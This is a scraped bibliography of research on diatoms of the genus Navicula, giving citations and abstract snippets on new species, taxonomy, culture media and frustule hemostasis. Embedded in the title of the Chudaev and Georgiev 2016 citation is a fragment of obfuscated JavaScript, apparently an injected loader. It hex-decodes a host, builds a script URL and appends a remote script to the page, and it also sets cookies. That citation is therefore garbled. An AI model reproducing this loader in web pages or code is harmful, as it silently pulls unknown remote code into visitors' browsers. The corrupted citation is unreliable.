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Diatoms, known as photosynthetic unicellular algae, can produce natural biosilica frustules that exhibit great biocompatibility, superhydrophilicity, and superhemophilicity. In our study, the diatom Navicula australoshetlandica sp. was isolated from aquaculture wastewater and pretreated to obtain frustules so as to explore their hemostasis characteristics. A special “porous web” (6–8 nm) substructure in the ordered nanopores (165–350 nm) of boat-shaped diatom frustule was observed in Navicula australoshetlandica sp. using SEM and TEM analysis. Moreover, X-ray, N2 adsorption–desorption isotherm

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42

Savoie, Denis. "Book Review: The ‘Navicula’ Sundial: Monks, Manuscripts and Sundials: The Navicula in Medieval England." Journal for the History of Astronomy 43, no. 1 (2012): 120–22. http://dx.doi.org/10.1177/002182861204300109.

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43

Neplyukhina, A. A., and D. A. Chudaev. "Navicula blazencicae (Bacillariophyta) — a synonym of N. trivialis." Novosti sistematiki nizshikh rastenii 56, no. 2 (2022): 279–86. http://dx.doi.org/10.31111/nsnr/2022.56.2.279.

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Navicula blazencicae was described from Lake Prespa (North Macedonia) in 2007 and to date is known from the type locality only. We have observed the taxon in two samples from the Krasnodar Territory. The morphology of Russian specimens is described on the base of light and scanning electron microscopy investigations. In addition, a population of Navicula trivialis of a good size range from the same region was studied for comparison. Samples of N. blazencicae observed in this study morphologically are very close to samples of N. trivialis with small valves at the ends of size reduction. Our dat

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Chudaev, Dmitry, and Anton Georgiev. "New taxa of Navicula sensu stricto (Bacillariophyta, Naviculaceae) from high-altitude lake in Tibet, China// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "biotaxa.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();// ]]>." Phytotaxa 243, no. 2 (2016): 180. http://dx.doi.org/10.11646/phytotaxa.243.2.9.

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A new species and a new variety belonging to the diatom genus Navicula are described from a high-altitude lake in Tibet, China. Both taxa were studied under light and scanning electron microscopy. Comparisons with morphologically similar taxa are provided. Navicula gololobovae sp. nov. resembles N. schweigeri, N. capitatoradiata, N. subalpina, N. krammeriae and N. arkona. Navicula cryptofallax var. tibetica var. nov. is compared with the nominate variety of the species and N. cryptocephala. The unique sets of morphological characters observed in our new taxa allow their unambiguous separation

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45

Yılmaz, Elif, David G. Mann, Romain Gastineau, et al. "Description of Navicula vanseea sp. nov. (Naviculales, Naviculaceae), a new species of diatom from the highly alkaline Lake Van (Republic of Türkiye) with complete characterisation of its organellar genomes and multigene phylogeny." PhytoKeys 241 (April 8, 2024): 27–48. https://doi.org/10.3897/phytokeys.241.118903.

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Abstract:

The current article describes <i>Navicula vanseea</i> sp. nov., a new species of diatom from Lake Van, a highly alkaline lake in Eastern Anatolia (Türkiye). The description is based on light and scanning electron microscopy performed on two monoclonal cultures. The complete nuclear rRNA clusters and plastid genomes have been sequenced for these two strains and the complete mitogenome for one of them. The plastome of both strains shows the probable loss of a functional <i>ycf35</i> gene. They also exhibit two IB4 group I introns in their <i>rrl</i>, each encoding for a putative LAGLIDADG homing

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46

AMALAH, NUR, DWI SUNU WIDYARTINI, CHRISTIANI CHRISTIANI, and HEXA PRILIANA HIDAYAH. "The effect of dilution level of liquid tapioca waste culture medium and concentration of phosphate on the growth of microalgae Navicula sp." Nusantara Bioscience 10, no. 1 (2018): 65–69. http://dx.doi.org/10.13057/nusbiosci/n100110.

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Amalah N, Widyartini DS, Christiani, Hidayah HP. 2018. The effect of dilution level of liquid tapioca waste culture medium and concentration of phosphate on the growth of microalgae Navicula sp.. Nusantara Bioscience 10: 65-69. Liquid tapioca waste can be used as microalgae culture medium due to its nutrient contents that can support the life of microalgae. Liquid tapioca waste contains phosphate nutrient that can influence cell division and fat formation. Liquid tapioca waste is usually still highly concentrated, so it has to be diluted first to allow the light penetrates the microalgae growt

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Minina, N. "Flora of Lake Shirokoe and its environs of the Birsky district of the Republic of Bashkortostan." BIO Web of Conferences 67 (2023): 03001. http://dx.doi.org/10.1051/bioconf/20236703001.

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The article presents an analysis of the flora of Lake Shirokoe and its surroundings of the Birsky district of the Republic of Bashkortostan. It is shown that the flora is represented by 72 species of plants, of which: 8 species of trees, 1 species of shrubs, 2 species of semi-shrubs, 64 species of herbaceous plants. A total of 32 families, 64 genera and 72 species are represented. The most representative family is the Asteraceae, which includes 14 species. Of the small ones, 19 families with 1 species have been registered. Analysis of the flora of Lake Shirokoe shows that its composition is ch

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Sabbe, Koen, Wim Vyverman, Luc Ector, et al. "On the identity of Navicula gottlandica (Bacillariophyta), with the description of two new species Navicula eileencoxiana and Navicula bergstromiana from the Australo-Pacific region." Plant Ecology and Evolution 152, no. 2 (2019): 313–26. http://dx.doi.org/10.5091/plecevo.2019.1607.

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Background and aims – During the past two decades, the subantarctic diatom flora has been the subject of several detailed taxonomic revisions, resulting in the description of a large number of new species. During a survey of the freshwater diatom flora of Macquarie Island (southern Pacific Ocean), an unknown Navicula species was observed showing resemblance to Navicula gottlandica. Populations of similar diatoms (previously reported as N. gottlandica) from Tasmania were also investigated. We here present a detailed morphological analysis of these diatoms, and compare it with the type material

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49

Sabbe, Koen, Wim Vyverman, Luc Ector, et al. "On the identity of Navicula gottlandica (Bacillariophyta), with the description of two new species Navicula eileencoxiana and Navicula bergstromiana from the Australo-Pacific region." Plant Ecology and Evolution 152, no. (2) (2019): 313–26. https://doi.org/10.5091/plecevo.2019.1607.

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<b>Background and aims</b> – During the past two decades, the subantarctic diatom flora has been the subject of several detailed taxonomic revisions, resulting in the description of a large number of new species. During a survey of the freshwater diatom flora of Macquarie Island (southern Pacific Ocean), an unknown <em>Navicula</em> species was observed showing resemblance to <em>Navicula gottlandica</em>. Populations of similar diatoms (previously reported as <em>N. gottlandica</em>) from Tasmania were also investigated. We here present a detailed morphological analysis of these diatoms, and

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50

Chudaev, D. A. "Diatoms of the genus Navicula of Lake Teletskoye (Altai) and some rivers of its basin." Novosti sistematiki nizshikh rastenii 53, no. 2 (2019): 255–78. http://dx.doi.org/10.31111/nsnr/2019.53.2.255.

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As a result of study of 18 samples, collected in Lake Teletskoye and inflowing rivers in 1992–1995, 34 diatom species of the genus Navicula Bory were found. Among them 21 taxa are new for the studied region, 7 species (Navicula arkona, N. hangaica, N. cf. pseudoreinhardtii, N. ricardae, N. scaniae, N. schweigeri, N. suecicarum) are recorded for the first time in Russia. One new species (N. pseudoharmoniae sp. nov.) is described. It is compared with N. harmoniae and N. digitoconvergens.

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